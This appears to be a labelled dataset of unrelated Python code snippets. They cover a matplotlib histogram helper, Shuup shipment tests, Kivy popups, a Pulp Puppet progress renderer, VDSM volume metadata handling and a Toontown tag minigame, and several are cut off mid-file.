plt.clf() if pdf: n /= np.diff(x) x = x[:-1]+np.diff(x)/2 plt.semilogx(x,n,**kywds) else: plt.bar(x[:len(x)-1],n,width=np.diff(x),**kywds) a = plt.gca() a.set_xlim(10.**np.floor(np.log10(np.min(X))),10.**np.ceil(np.log10(np.max(X)))) a.set_xscale('log') plt.axis() return x,n ",1 "re; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA import sys def hook(mod): if sys.version[0] > '1': for i in range(len(mod.imports)-1, -1, -1): if mod.imports[i][0] == 'strop': del mod.imports[i] return mod ",1 "ound in the # LICENSE file in the root directory of this source tree. import decimal import pytest from django.conf import settings from shuup.core.models import Shipment, ShippingStatus, StockBehavior from shuup.testing.factories import ( add_product_to_order, create_empty_order, create_product, get_default_shop, get_default_supplier ) from shuup.utils.excs import Problem @pytest.mark.django_db def test_shipment_identifier(): shop = get_default_shop() supplier = get_default_supplier() order = _get_order(shop, supplier) product_lines = order.lines.exclude(product_id=None) for line in product_lines: for i in range(0, int(line.quantity)): shipment = order.create_shipment({line.product: 1}, supplier=supplier) expected_key_start = ""%s/%s"" % (order.pk, i) assert shipment.identifier.startswith(expected_key_start) assert order.shipments.count() == int(line.quantity) assert order.shipping_status == ShippingStatus.FULLY_SHIPPED # Check that order is now fully shipped assert not order.can_edit() @pytest.mark.django_db def test_shipment_creation_from_unsaved_shipment(): shop = get_default_shop() supplier = get_default_supplier() order = _get_order(shop, supplier) product_lines = order.lines.exclude(product_id=None) for line in product_lines: for i in range(0, int(line.quantity)): unsaved_shipment = Shipment(order=order, supplier=supplier) shipment = order.create_shipment({line.product: 1}, shipment=unsaved_shipment) expected_key_start = ""%s/%s"" % (order.pk, i) assert shipment.identifier.startswith(expected_key_start) assert order.shipments.count() == int(line.quantity) @pytest.mark.django_db def test_shipment_creation_without_supplier_and_shipment(): shop = get_default_shop() supplier = get_default_supplier() order = _get_order(shop, supplier) product_lines = order.lines.exclude(product_id=None) for line in product_lines: for i in range(0, int(line.quantity)): with pytest.raises(AssertionError): order.create_shipment({line.product: 1}) assert order.shipments.count() == 0 @pytest.mark.django_db def test_shipment_creation_with_invalid_unsaved_shipment(): shop = get_default_shop() supplier = get_default_supplier() order = _get_order(shop, supplier) second_order = create_empty_order(shop=shop) second_order.full_clean() second_order.save() product_lines = order.lines.exclude(product_id=None) for line in product_lines: for i in range(0, int(line.quantity)): with pytest.raises(AssertionError): unsaved_shipment = Shipment(supplier=supplier, order=second_order) order.create_shipment({line.product: 1}, shipment=unsaved_shipment) assert order.shipments.count() == 0 @pytest.mark.django_db def test_partially_shipped_order_status(): shop = get_default_shop() supplier = get_default_supplier() order = _get_order(shop, supplier) assert order.can_edit() first_product_line = order.lines.exclude(product_id=None).first() assert first_product_line.quantity > 1 order.create_shipment({first_product_line.product: 1}, supplier=supplier) assert order.shipping_status == ShippingStatus.PARTIALLY_SHIPPED assert not order.can_edit() @pytest.mark.django_db def test_shipment_delete(): shop = get_default_shop() supplier = get_default_supplier() order = _get_order(shop, supplier) assert order.can_edit() first_product_line = order.lines.exclude(product_id=None).first() assert first_product_line.quantity > 1 shipment = order.create_shipment({first_product_line.product: 1}, supplier=supplier) assert order.shipping_status == ShippingStatus.PARTIALLY_SHIPPED assert order.shipments.all().count() == 1 # Test shipment delete shipment.soft_delete() assert order.shipments.all().count() == 1 assert order.shipments.all_except_deleted().count() == 0 # Check the shipping status update assert order.shipping_status == ShippingStatus.NOT_SHIPPED @pytest.mark.django_db def test_shipment_with_insufficient_stock(): if ""shuup.simple_supplier"" not in settings.INSTALLED_APPS: pytest.skip(""Need shuup.simple_supplier in INSTALLED_APPS"") from shuup_tests.simple_supplier.utils import get_simple_supplier shop = get_default_shop() supplier = get_simple_supplier() order = _get_order(shop, supplier, stocked=True) product_line = order.lines.products().first() product = product_line.product assert product_line.quantity == 15 supplier.adjust_stock(product.pk, delta=10) stock_status = supplier.get_stock_status(product.pk) assert stock_status.physical_count == 10 order.create_shipment({product: 5}, supplier=supplier) assert order.shipping_status == ShippingStatus.PARTIALLY_SHIPPED assert order.shipments.all().count() == 1 with pytest.raises(Problem): order.create_shipment({product: 10}, supplier=supplier) # Should be fine after adding more stock supplier.adjust_stock(product.pk, delta=5) order.create_shipment({product: 10}, supplier=supplier) def _get_order(shop, supplier, stocked=False): order = create_empty_order(shop=shop) order.full_clean() order.save() for product_data in _get_product_data(stocked): quantity = product_data.pop(""quantity"") product = create_product( sku=product_data.pop(""sku""), shop=shop, supplier=supplier, default_price=3.33, **product_data) add_product_to_order(order, supplier, product, quantity=quantity, taxless_base_unit_price=1) order.cache_prices() order.check_all_verified() order.save() return order def _get_product_data(stocked=False): return [ { ""sku"": ""sku1234"", ""net_weight"": decimal.Decimal(""1""), ""gross_weight"": decimal.Decimal(""43.34257""), ""quantity"": decimal.Decimal(""15""), ""stock_behavior"": StockBehavior.STOCKED if stocked else StockBehavior.UNSTOCKED } ] ",1 "vy.metrics import dp from kivy.app import Builder from kivy.properties import StringProperty, ObjectProperty from kivy.clock import Clock from kivy.metrics import sp from kivy.metrics import dp from iconbutton import IconButton __all__ = ('alertPopup, confirmPopup, okPopup, editor_popup') Builder.load_string(''' : cols:1 Label: text: root.text GridLayout: cols: 2 size_hint_y: None height: '44sp' spacing: '5sp' IconButton: text: u'\uf00c' on_press: root.dispatch('on_answer', True) IconButton: text: u'\uf00d' color: ColorScheme.get_primary() on_release: root.dispatch('on_answer', False) : cols:1 Label: text: root.text GridLayout: cols: 2 size_hint_y: None height: '44sp' spacing: '5sp' IconButton: text: u'\uf00c' on_press: root.dispatch('on_answer', True) : id: editor_popup cols:1 BoxLayout: id: content GridLayout: id: buttons cols: 2 size_hint_y: None height: '44sp' spacing: '5sp' IconButton: text: u'\uf00c' on_press: root.dispatch('on_answer', True) IconButton: text: u'\uf00d' color: ColorScheme.get_primary() on_release: root.dispatch('on_answer', False) ''') def alertPopup(title, msg): popup = Popup(title = title, content=Label(text = msg), size_hint=(None, None), size=(dp(600), dp(200))) popup.open() def confirmPopup(title, msg, answerCallback): content = ConfirmPopup(text=msg) content.bind(on_answer=answerCallback) popup = Popup(title=title, content=content, size_hint=(None, None), size=(dp(600),dp(200)), auto_dismiss= False) popup.open() return popup class ConfirmPopup(GridLayout): text = StringProperty() def __init__(self,**kwargs): self.register_event_type('on_answer') super(ConfirmPopup,self).__init__(**kwargs) def on_answer(self, *args): pass def editor_popup(title, content, answerCallback): content = EditorPopup(content=content) content.bind(on_answer=answerCallback) popup = Popup(title=title, content=content, size_hint=(0.7, 0.8), auto_dismiss= False, title_size=sp(18)) popup.open() return popup class EditorPopup(GridLayout): content = ObjectProperty(None) def __init__(self,**kwargs): self.register_event_type('on_answer') super(EditorPopup,self).__init__(**kwargs) def on_content(self, instance, value): Clock.schedule_once(lambda dt: self.ids.content.add_widget(value)) def on_answer(self, *args): pass def okPopup(title, msg, answerCallback): content = OkPopup(text=msg) content.bind(on_ok=answerCallback) popup = Popup(title=title, content=content, size_hint=(None, None), size=(dp(600),dp(200)), auto_dismiss= False) popup.open() return popup class OkPopup(GridLayout): text = StringProperty() def __init__(self,**kwargs): self.register_event_type('on_ok') super(OkPopup,self).__init__(**kwargs) def on_ok(self, *args): pass ",1 "import COLOR_FAILURE from pulp_puppet.common import constants from pulp_puppet.common.publish_progress import PublishProgressReport from pulp_puppet.common.sync_progress import SyncProgressReport class PuppetStatusRenderer(StatusRenderer): def __init__(self, context): super(PuppetStatusRenderer, self).__init__(context) # Sync Steps self.sync_metadata_last_state = constants.STATE_NOT_STARTED self.sync_modules_last_state = constants.STATE_NOT_STARTED # Publish Steps self.publish_modules_last_state = constants.STATE_NOT_STARTED self.publish_metadata_last_state = constants.STATE_NOT_STARTED self.publish_http_last_state = constants.STATE_NOT_STARTED self.publish_https_last_state = constants.STATE_NOT_STARTED # UI Widgets self.sync_metadata_bar = self.prompt.create_progress_bar() self.sync_modules_bar = self.prompt.create_progress_bar() self.publish_modules_bar = self.prompt.create_progress_bar() self.publish_metadata_spinner = self.prompt.create_spinner() def display_report(self, progress_report): # Sync Steps if constants.IMPORTER_ID in progress_report: sync_report = SyncProgressReport.from_progress_dict(progress_report[constants.IMPORTER_ID]) self._display_sync_metadata_step(sync_report) self._display_sync_modules_step(sync_report) # Publish Steps if constants.DISTRIBUTOR_ID in progress_report: publish_report = PublishProgressReport.from_progress_dict(progress_report[constants.DISTRIBUTOR_ID]) self._display_publish_modules_step(publish_report) self._display_publish_metadata_step(publish_report) self._display_publish_http_https_step(publish_report) def _display_sync_metadata_step(self, sync_report): # Do nothing if it hasn't started yet or has already finished if sync_report.metadata_state == constants.STATE_NOT_STARTED or \ self.sync_metadata_last_state in constants.COMPLETE_STATES: return # Only render this on the first non-not-started state if self.sync_metadata_last_state == constants.STATE_NOT_STARTED: self.prompt.write(_('Downloading metadata...'), tag='download-metadata') # Same behavior for running or success if sync_report.metadata_state in (constants.STATE_RUNNING, constants.STATE_SUCCESS): items_done = sync_report.metadata_query_finished_count items_total = sync_report.metadata_query_total_count item_type = _('Metadata Query') self._render_itemized_in_progress_state(items_done, items_total, item_type, self.sync_metadata_bar, sync_report.metadata_state) # The only state left to handle is if it failed else: self.prompt.render_failure_message(_('... failed')) self.prompt.render_spacer() self._render_error(sync_report.metadata_error_message, sync_report.metadata_exception, sync_report.metadata_traceback) # Before finishing update the state self.sync_metadata_last_state = sync_report.metadata_state def _display_sync_modules_step(self, sync_report): # Do nothing if it hasn't started yet or has already finished if sync_report.modules_state == constants.STATE_NOT_STARTED or \ self.sync_modules_last_state in constants.COMPLETE_STATES: return # Only render this on the first non-not-started state if self.sync_modules_last_state == constants.STATE_NOT_STARTED: self.prompt.write(_('Downloading new modules...'), tag='downloading') # Same behavior for running or success if sync_report.modules_state in (constants.STATE_RUNNING, constants.STATE_SUCCESS): items_done = sync_report.modules_finished_count + sync_report.modules_error_count items_total = sync_report.modules_total_count item_type = _('Module') self._render_itemized_in_progress_state(items_done, items_total, item_type, self.sync_modules_bar, sync_report.modules_state) # The only state left to handle is if it failed else: self.prompt.render_failure_message(_('... failed')) self.prompt.render_spacer() self._render_error(sync_report.modules_error_message, sync_report.modules_exception, sync_report.modules_traceback) # Regardless of success or failure, display any individual module errors # if the new state is complete if sync_report.modules_state in constants.COMPLETE_STATES: self._render_module_errors(sync_report.modules_individual_errors) # Before finishing update the state self.sync_modules_last_state = sync_report.modules_state def _display_publish_modules_step(self, publish_report): # Do nothing if it hasn't started yet or has already finished if publish_report.modules_state == constants.STATE_NOT_STARTED or \ self.publish_modules_last_state in constants.COMPLETE_STATES: return # Only render this on the first non-not-started state if self.publish_modules_last_state == constants.STATE_NOT_STARTED: self.prompt.write(_('Publishing modules...'), tag='publishing') # Same behavior for running or success if publish_report.modules_state in (constants.STATE_RUNNING, constants.STATE_SUCCESS): items_done = publish_report.modules_finished_count + publish_report.modules_error_count items_total = publish_report.modules_total_count item_type = _('Module') self._render_itemized_in_progress_state(items_done, items_total, item_type, self.publish_modules_bar, publish_report.modules_state) # The only state left to handle is if it failed else: self.prompt.render_failure_message(_('... failed')) self.prompt.render_spacer() self._render_error(publish_report.modules_error_message, publish_report.modules_exception, publish_report.modules_traceback) # Regardless of success or failure, display any individual module errors # if the new state is complete if publish_report.modules_state in constants.COMPLETE_STATES: self._render_module_errors(publish_report.modules_individual_errors) # Before finishing update the state self.publish_modules_last_state = publish_report.modules_state def _display_publish_metadata_step(self, publish_report): # Do nothing if it hasn't started yet or has already finished if publish_report.metadata_state == constants.STATE_NOT_STARTED or \ self.publish_metadata_last_state in constants.COMPLETE_STATES: return # Only render this on the first non-not-started state if self.publish_metadata_last_state == constants.STATE_NOT_STARTED: self.prompt.write(_('Generating repository metadata...'), tag='generating') if publish_report.metadata_state == constants.STATE_RUNNING: self.publish_metadata_spinner.next() elif publish_report.metadata_state == constants.STATE_SUCCESS: self.publish_metadata_spinner.next(finished=True) self.prompt.write(_('... completed'), tag='completed') self.prompt.render_spacer() elif publish_report.metadata_state == constants.STATE_FAILED: self.publish_metadata_spinner.next(finished=True) self.prompt.render_failure_message(_('... failed')) self.prompt.render_spacer() self._render_error(publish_report.modules_error_message, publish_report.modules_exception, publish_report.modules_traceback) self.publish_metadata_last_state = publish_report.metadata_state def _display_publish_http_https_step(self, publish_report): # -- HTTP -------- if publish_report.publish_http != constants.STATE_NOT_STARTED and \ self.publish_http_last_state not in constants.COMPLETE_STATES: self.prompt.write(_('Publishing repository over HTTP...')) if publish_report.publish_http == constants.STATE_SUCCESS: self.prompt.write(_('... completed'), tag='http-completed') elif publish_report.publish_http == constants.STATE_SKIPPED: self.prompt.write(_('... skipped'), tag='http-skipped') else: self.prompt.write(_('... unknown'), tag='http-unknown') self.publish_http_last_state = publish_report.publish_http self.prompt.render_spacer() # -- HTTPS -------- if publish_report.publish_https != constants.STATE_NOT_STARTED and \ self.publish_https_last_state not in constants.COMPLETE_STATES: self.prompt.write(_('Publishing repository over HTTPS...')) if publish_report.publish_https == constants.STATE_SUCCESS: self.prompt.write(_('... completed'), tag='https-completed') elif publish_report.publish_https == constants.STATE_SKIPPED: self.prompt.write(_('... skipped'), tag='https-skipped') else: self.prompt.write(_('... unknown'), tag='https-unknown') self.publish_https_last_state = publish_report.publish_https def _render_itemized_in_progress_state(self, items_done, items_total, type_name, progress_bar, current_state): """""" This is a pretty ugly way of reusing similar code between the publish steps for packages and distributions. There might be a cleaner way but I was having trouble updating the correct state variable and frankly I'm out of time. Feel free to fix this if you are inspired. """""" # For the progress bar to work, we can't write anything after it until # we're completely finished with it. Assemble the download summary into # a string and let the progress bar render it. message_data = { 'name' : type_name.title(), 'items_done' : items_done, 'items_total' : items_total, } template = _('%(name)s: %(items_done)s/%(items_total)s items') bar_message = template % message_data # If there's nothing to download in this step, flag the bar as complete if items_total is 0: items_total = items_done = 1 progress_bar.render(items_done, items_total, message=bar_message) if current_state == constants.STATE_SUCCESS: self.prompt.write(_('... completed')) self.prompt.render_spacer() def _render_module_errors(self, individual_errors): """""" :param individual_errors: dictionary where keys are module names and values are dicts with keys 'exception' and 'traceback'. :type individual_errors: dict """""" if individual_errors: # TODO: read this from config display_error_count = 20 self.prompt.render_failure_message(_('Could not import the following modules:')) for module_error in individual_errors[:display_error_count]: msg = _(' %(module)s: %(error)s') msg = msg % {'module': module_error['module'], 'error': module_error['exception']} self.prompt.write(msg, color=COLOR_FAILURE) self.prompt.render_spacer() def _render_error(self, error_message, exception, traceback): msg = _('The following error was encountered during the previous ' 'step. More information can be found by passing -v flag one or more times') self.prompt.render_failure_message(msg) self.prompt.render_spacer() self.prompt.render_failure_message(' %s' % error_message) self.context.logger.error(error_message) self.context.logger.error(exception) self.context.logger.error(traceback) ",1 "ic License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # # Refer to the README and COPYING files for full details of the license # from __future__ import absolute_import import logging import time import six from vdsm.storage import constants as sc from vdsm.storage import exception # SIZE property was deprecated in metadata v5, but we still need this key to # read and write legacy metadata. To make sure no other code use it and it's # used only by metadata code, move it here and make it private. _SIZE = ""SIZE"" ATTRIBUTES = { sc.DOMAIN: (""domain"", str), sc.IMAGE: (""image"", str), sc.PUUID: (""parent"", str), sc.CAPACITY: (""capacity"", int), sc.FORMAT: (""format"", str), sc.TYPE: (""type"", str), sc.VOLTYPE: (""voltype"", str), sc.DISKTYPE: (""disktype"", str), sc.DESCRIPTION: (""description"", str), sc.LEGALITY: (""legality"", str), sc.CTIME: (""ctime"", int), sc.GENERATION: (""generation"", int), sc.SEQUENCE: (""sequence"", int), } def _lines_to_dict(lines): md = {} errors = [] for line in lines: # Skip a line if there is invalid value. try: line = line.decode(""utf-8"") except UnicodeDecodeError as e: errors.append(""Invalid line '{}': {}"".format(line, e)) continue if line.startswith(""EOF""): break if '=' not in line: continue key, value = line.split('=', 1) md[key.strip()] = value.strip() return md, errors def parse(lines): md, errors = _lines_to_dict(lines) metadata = {} if ""NONE"" in md: # Before 4.20.34-1 (ovirt 4.2.5) volume metadata could be # cleared by writing invalid metadata when deleting a volume. # See https://bugzilla.redhat.com/1574631. errors.append(str(exception.MetadataCleared())) return {}, errors # We work internally in bytes, even if old format store # value in blocks, we will read SIZE instead of CAPACITY # from non-converted volumes and use it if _SIZE in md and sc.CAPACITY not in md: try: md[sc.CAPACITY] = int(md[_SIZE]) * sc.BLOCK_SIZE_512 except ValueError as e: errors.append(str(e)) if sc.GENERATION not in md: md[sc.GENERATION] = sc.DEFAULT_GENERATION if sc.SEQUENCE not in md: md[sc.SEQUENCE] = sc.DEFAULT_SEQUENCE for key, (name, validate) in ATTRIBUTES.items(): try: # FIXME: remove pylint skip when bug fixed: # https://github.com/PyCQA/pylint/issues/5113 metadata[name] = validate(md[key]) # pylint: disable=not-callable except KeyError: errors.append(""Required key '{}' is missing."".format(name)) except ValueError as e: errors.append(""Invalid '{}' value: {}"".format(name, str(e))) return metadata, errors def dump(lines): md, errors = parse(lines) if errors: logging.warning( ""Invalid metadata found errors=%s"", errors) md[""status""] = sc.VOL_STATUS_INVALID else: md[""status""] = sc.VOL_STATUS_OK # Do not include domain in dump output. md.pop(""domain"", None) return md class VolumeMetadata(object): log = logging.getLogger('storage.volumemetadata') def __init__(self, domain, image, parent, capacity, format, type, voltype, disktype, description="""", legality=sc.ILLEGAL_VOL, ctime=None, generation=sc.DEFAULT_GENERATION, sequence=sc.DEFAULT_SEQUENCE): # Storage domain UUID self.domain = domain # Image UUID self.image = image # UUID of the parent volume or BLANK_UUID self.parent = parent # Volume capacity in bytes self.capacity = capacity # Format (RAW or COW) self.format = format # Allocation policy (PREALLOCATED or SPARSE) self.type = type # Relationship to other volumes (LEAF, INTERNAL or SHARED) self.voltype = voltype # Intended usage of this volume (unused) self.disktype = disktype # Free-form description and may be used to store extra metadata self.description = description # Indicates if the volume contents should be considered valid self.legality = legality # Volume creation time (in seconds since the epoch) self.ctime = int(time.time()) if ctime is None else ctime # Generation increments each time certain operations complete self.generation = generation # Sequence number of the volume, increased every time a new volume is # created in an image. self.sequence = sequence @classmethod def from_lines(cls, lines): ''' Instantiates a VolumeMetadata object from storage read bytes. Args: lines: list of key=value entries given as bytes read from storage metadata section. ""EOF"" entry terminates parsing. ''' metadata, errors = parse(lines) if errors: raise exception.InvalidMetadata( ""lines={} errors={}"".format(lines, errors)) return cls(**metadata) @property def description(self): return self._description @description.setter def description(self, desc): self._description = self.validate_description(desc) @property def capacity(self): return self._capacity @capacity.setter def capacity(self, value): self._capacity = self._validate_integer(""capacity"", value) @property def ctime(self): return self._ctime @ctime.setter def ctime(self, value): self._ctime = self._validate_integer(""ctime"", value) @property def generation(self): return self._generation @generation.setter def generation(self, value): self._generation = self._validate_integer(""generation"", value) @property def sequence(self): return self._sequence @sequence.setter def sequence(self, value): self._sequence = self._validate_integer(""sequence"", value) @classmethod def _validate_integer(cls, property, value): if not isinstance(value, six.integer_types): raise AssertionError( ""Invalid value for metadata property {!r}: {!r}"".format( property, value)) return value @classmethod def validate_description(cls, desc): desc = str(desc) # We cannot fail when the description is too long, since we must # support older engine that may send such values, or old disks # with long description. if len(desc) > sc.DESCRIPTION_SIZE: cls.log.warning(""Description is too long, truncating to %d bytes"", sc.DESCRIPTION_SIZE) desc = desc[:sc.DESCRIPTION_SIZE] return desc def storage_format(self, domain_version, **overrides): """""" Format metadata parameters into storage format bytes. VolumeMetadata is quite restrictive and does not allow you to make an invalid metadata, but sometimes, for example for a format conversion, you need some additional fields to be written to the storage. Those fields can be added using overrides dict. Raises MetadataOverflowError if formatted metadata is too long. """""" info = { sc.CTIME: str(self.ctime), sc.DESCRIPTION: self.description, sc.DISKTYPE: self.disktype, sc.DOMAIN: self.domain, sc.FORMAT: self.format, sc.GENERATION: self.generation, sc.IMAGE: self.image, sc.LEGALITY: self.legality, sc.PUUID: self.parent, sc.TYPE: self.type, sc.VOLTYPE: self.voltype, } if domain_version < 5: # Always zero on pre v5 domains # We need to keep MTIME available on pre v5 # domains, as other code is expecting that # field to exists and will fail without it. info[sc.MTIME] = 0 # Pre v5 domains should have SIZE in blocks # instead of CAPACITY in bytes info[_SIZE] = self.capacity // sc.BLOCK_SIZE_512 else: info[sc.CAPACITY] = self.capacity info[sc.SEQUENCE] = self.sequence info.update(overrides) keys = sorted(info.keys()) lines = [""%s=%s\n"" % (key, info[key]) for key in keys] lines.append(""EOF\n"") data = """".join(lines).encode(""utf-8"") if len(data) > sc.METADATA_SIZE: raise exception.MetadataOverflowError(data) return data # Three defs below allow us to imitate a dictionary # So intstead of providing a method to return a dictionary # with values, we return self and mimick dict behaviour. # In the fieldmap we keep mapping between metadata # field name and our internal field names # # TODO: All dict specific code below should be removed, when rest of VDSM # will be refactored, to use VolumeMetadata properties, instead of dict _fieldmap = { sc.FORMAT: 'format', sc.TYPE: 'type', sc.VOLTYPE: 'voltype', sc.DISKTYPE: 'disktype', sc.CAPACITY: 'capacity', sc.CTIME: 'ctime', sc.DOMAIN: 'domain', sc.IMAGE: 'image', sc.DESCRIPTION: 'description', sc.PUUID: 'parent', sc.LEGALITY: 'legality', sc.GENERATION: 'generation', sc.SEQUENCE: ""sequence"", } def __getitem__(self, item): try: value = getattr(self, self._fieldmap[item]) except AttributeError: raise KeyError(item) # Some fields needs to be converted to string if item in (sc.CAPACITY, sc.CTIME): value = str(value) return value def __setitem__(self, item, value): setattr(self, self._fieldmap[item], value) def get(self, item, default=None): try: return self[item] except KeyError: return default def dump(self): return { ""capacity"": self.capacity, ""ctime"": self.ctime, ""description"": self.description, ""disktype"": self.disktype, ""format"": self.format, ""generation"": self.generation, ""sequence"": self.sequence, ""image"": self.image, ""legality"": self.legality, ""parent"": self.parent, ""type"": self.type, ""voltype"": self.voltype, } ",1 " import * from direct.fsm import ClassicFSM, State from direct.fsm import State from toontown.safezone import Walk from toontown.toonbase import ToontownTimer from direct.gui import OnscreenText import MinigameAvatarScorePanel from direct.distributed import DistributedSmoothNode import random from toontown.toonbase import ToontownGlobals from toontown.toonbase import TTLocalizer from otp.otpbase import OTPGlobals import TagGameGlobals import Trajectory class DistributedTagGame(DistributedMinigame): DURATION = TagGameGlobals.DURATION IT_SPEED_INCREASE = 1.3 IT_ROT_INCREASE = 1.3 def __init__(self, cr): DistributedMinigame.__init__(self, cr) self.gameFSM = ClassicFSM.ClassicFSM('DistributedTagGame', [State.State('off', self.enterOff, self.exitOff, ['play']), State.State('play', self.enterPlay, self.exitPlay, ['cleanup']), State.State('cleanup', self.enterCleanup, self.exitCleanup, ['off'])], 'off', 'off') self.addChildGameFSM(self.gameFSM) self.walkStateData = Walk.Walk('walkDone') self.scorePanels = [] self.initialPositions = ((0, 10, 0, 180, 0, 0), (10, 0, 0, 90, 0, 0), (0, -10, 0, 0, 0, 0), (-10, 0, 0, -90, 0, 0)) base.localAvatar.isIt = 0 self.modelCount = 4 def getTitle(self): return TTLocalizer.TagGameTitle def getInstructions(self): return TTLocalizer.TagGameInstructions def getMaxDuration(self): return self.DURATION def load(self): self.notify.debug('load') DistributedMinigame.load(self) self.itText = OnscreenText.OnscreenText('itText', fg=(0.95, 0.95, 0.65, 1), scale=0.14, font=ToontownGlobals.getSignFont(), pos=(0.0, -0.8), wordwrap=15, mayChange=1) self.itText.hide() self.sky = loader.loadModel('phase_3.5/models/props/TT_sky') self.ground = loader.loadModel('phase_4/models/minigames/tag_arena') self.music = base.loadMusic('phase_4/audio/bgm/MG_toontag.ogg') self.tagSfx = base.loadSfx('phase_4/audio/sfx/MG_Tag_C.ogg') self.itPointer = loader.loadModel('phase_4/models/minigames/bboard-pointer') self.tracks = [] self.IT = None return def unload(self): self.notify.debug('unload') DistributedMinigame.unload(self) self.ignoreAll() del self.tracks del self.IT self.sky.removeNode() del self.sky self.itPointer.removeNode() del self.itPointer self.ground.removeNode() del self.ground del self.music del self.tagSfx self.itText.cleanup() del self.itText self.removeChildGameFSM(self.gameFSM) del self.gameFSM def onstage(self): self.notify.debug('onstage') DistributedMinigame.onstage(self) self.ground.reparentTo(render) self.sky.reparentTo(render) myPos = self.avIdList.index(self.localAvId) base.localAvatar.setPosHpr(*self.initialPositions[myPos]) base.localAvatar.reparentTo(render) base.localAvatar.loop('neutral') camera.reparentTo(render) camera.setPosHpr(0, -24, 16, 0, -30, 0) base.camLens.setFar(450.0) base.transitions.irisIn(0.4) NametagGlobals.setMasterArrowsOn(1) DistributedSmoothNode.activateSmoothing(1, 1) self.IT = None return def offstage(self): self.notify.debug('offstage') DistributedSmoothNode.activateSmoothing(1, 0) NametagGlobals.setMasterArrowsOn(0) DistributedMinigame.offstage(self) self.sky.reparentTo(hidden) self.ground.reparentTo(hidden) base.camLens.setFar(ToontownGlobals.DefaultCameraFar) self.itText.hide() def setGameReady(self): if not self.hasLocalToon: return self.notify.debug('setGameReady') if DistributedMinigame.setGameReady(self): return for avId in self.avIdList: self.acceptTagEvent(avId) myPos = self.avIdList.index(self.localAvId) for i in xrange(self.numPlayers): avId = self.avIdList[i] avatar = self.getAvatar(avId) if avatar: avatar.startSmooth() base.localAvatar.setPosHpr(*self.initialPositions[myPos]) base.localAvatar.d_clearSmoothing() base.localAvatar.sendCurrentPosition() base.localAvatar.b_setAnimState('neutral', 1) base.localAvatar.b_setParent(ToontownGlobals.SPRender) def setGameStart(self, timestamp): if not self.hasLocalToon: return self.notify.debug('setGameStart') DistributedMinigame.setGameStart(self, timestamp) self.gameFSM.request('play') def enterOff(self): self.notify.debug('enterOff') def exitOff(self): pass def enterPlay(self): self.notify.debug('enterPlay') for i in xrange(self.numPlayers): avId = self.avIdList[i] avName = self.getAvatarName(avId) scorePanel = MinigameAvatarScorePanel.MinigameAvatarScorePanel(avId, avName) scorePanel.setPos(-0.213, 0.0, 0.28 * i + 0.66) scorePanel.reparentTo(base.a2dBottomRight) self.scorePanels.append(scorePanel) base.setCellsAvailable(base.rightCells, 0) self.walkStateData.enter() self.walkStateData.fsm.request('walking') if base.localAvatar.isIt: base.mouseInterfaceNode.setForwardSpeed(ToontownGlobals.ToonForwardSpeed * self.IT_SPEED_INCREASE) base.mouseInterfaceNode.setRotateSpeed(ToontownGlobals.ToonRotateSpeed * self.IT_ROT_INCREASE) self.timer = ToontownTimer.ToontownTimer() self.timer.posInTopRightCorner() self.timer.setTime(self.DURATION) self.timer.countdown(self.DURATION, self.timerExpired) base.playMusic(self.music, looping=1, volume=0.9) base.localAvatar.setIdealCameraPos(Point3(0, -24, 8)) def exitPlay(self): for task in self.tracks: task.finish() self.tracks = [] for avId in self.avIdList: toon = self.getAvatar(avId) if toon: toon.getGeomNode().clearMat() toon.scale = 1.0 toon.rescaleToon() self.walkStateData.exit() self.music.stop() self.timer.destroy() del self.timer for panel in self.scorePanels: panel.cleanup() self.scorePanels = [] base.setCellsAvailable(base.rightCells, 1) base.mouseInterfaceNode.setForwardSpeed(ToontownGlobals.ToonForwardSpeed) base.mouseInterfaceNode.setRotateSpeed(ToontownGlobals.ToonRotateSpeed) self.itPointer.reparentTo(hidden) base.localAvatar.cameraIndex = 0 base.localAvatar.setCameraPositionByIndex(0) def timerExpired(self): self.notify.debug('local timer expired') self.gameOver() def enterCleanup(self): self.notify.debug('enterCleanup') self.gameFSM.request('off') def exitCleanup(self): pass def setIt(self, avId): if not self.hasLocalToon: return if self.gameFSM.getCurrentState().getName() != 'play': self.notify.debug('Ignoring setIt after done playing') return self.itText.show() self.notify.debug(str(avId) + ' is now it') if avId == self.localAvId: self.itText.setText(TTLocalizer.TagGameYouAreIt) base.localAvatar.isIt = 1 base.localAvatar.controlManager.setSpeeds(OTPGlobals.ToonForwardSpeed * self.IT_SPEED_INCREASE, OTPGlobals.ToonJumpForce, OTPGlobals.ToonReverseSpeed * self.IT_SPEED_INCREASE, OTPGlobals.ToonRotateSpeed * self.IT_ROT_INCREASE) else: self.itText.setText(TTLocalizer.TagGameSomeoneElseIsIt % self.getAvatarName(avId)) base.localAvatar.isIt = 0 base.localAvatar.setWalkSpeedNormal() avatar = self.getAvatar(avId) if avatar: self.itPointer.reparentTo(avatar) self.itPointer.setZ(avatar.getHeight()) base.playSfx(self.tagSfx) toon = self.getAvatar(avId) duration = 0.6 if not toon: return spinTrack = LerpHprInterval(toon.getGeomNode(), duration, Point3(0, 0, 0), startHpr=Point3(-5.0 * 360.0, 0, 0), blendType='easeOut') growTrack = Parallel() gs = 2.5 for hi in xrange(toon.headParts.getNumPaths()): head = toon.headParts[hi] growTrack.append(LerpScaleInterval(head, duration, Point3(gs, gs, gs))) def bounceFunc(t, trajectory, node = toon.getGeomNode()): node.setZ(trajectory.calcZ(t)) def bounceCleanupFunc(node = toon.getGeomNode(), z = toon.getGeomNode().getZ()): node.setZ(z) bounceTrack = Sequence() startZ = toon.getGeomNode().getZ() tLen = 0 zVel = 30 decay = 0.6 while tLen < duration: trajectory = Trajectory.Trajectory(0, Point3(0, 0, startZ), Point3(0, 0, zVel), gravMult=5.0) dur = trajectory.calcTimeOfImpactOnPlane(startZ) if dur <= 0: break 